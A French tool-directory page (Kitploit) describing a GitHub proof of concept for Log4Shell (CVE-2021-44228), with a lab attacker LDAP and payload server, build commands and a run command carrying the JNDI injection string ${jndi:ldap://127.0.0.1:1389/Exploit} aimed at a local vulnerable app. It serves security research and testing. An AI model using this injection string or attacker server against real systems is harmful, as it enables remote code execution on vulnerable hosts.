Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2021-44228-rce-poc — Un PoC d'exécution de code à distance pour Log4Shell (CVE-2021-44228) | Kitploit
Outils/GitHubGitHub/ubitech/cve-2021-44228-rce-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHububitech/cve-2021-44228-rce-poc

cve-2021-44228-rce-poc

Un PoC d'exécution de code à distance pour Log4Shell (CVE-2021-44228)

Voir le dépôt
32il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-44228 Preuve de concept d'exécution de commandes à distance

Ce dépôt permet aux chercheurs en sécurité d'expérimenter l'exécution de code à distance en fournissant une implémentation d'un serveur d'attaque qui charge un exploit personnalisé sur une application vulnérable contenant log4j.

⚠️ Cet outil est destiné à l'auto-évaluation et doit être utilisé uniquement par des personnes autorisées ou des chercheurs. Vous ne devez tester que les systèmes pour lesquels vous disposez d'une permission explicite ou d'une autorité. Si vous trouvez des applications ou des bibliothèques vulnérables, vous devez pratiquer la divulgation responsable.

Étapes du RCE

CVE-2021-44228 fonctionne en injectant une chaîne JNDI LDAP dans vos journaux, ce qui déclenche Log4j pour contacter le serveur LDAP spécifié à la recherche d'informations supplémentaires. Dans un scénario malveillant, le serveur LDAP peut alors renvoyer du code à la machine victime, qui sera automatiquement exécuté en mémoire.

Le dépôt contient deux sous-projets. Le projet attacker-server contient le code source de deux serveurs multithreads. Le premier est un proxy LDAP qui reçoit la requête initiale d'un objet LDAP. Le second serveur est le serveur de charge utile qui renvoie l'Exploit (présent dans Exploit.java) à l'application vulnérable.

Compilation

À la racine du projet :

root@kitploit:~
mvn clean install

Le serveur et l'application vulnérable devraient être prêts.

Exécution de la preuve de concept (PoC)

Pour charger le serveur, exécutez :

root@kitploit:~
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar

Pour déclencher l'exécution de code à distance (RCE), exécutez :

root@kitploit:~
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}

Vous pouvez modifier la charge utile malveillante à la demande en étendant Exploit.java.

Télécharger l’outil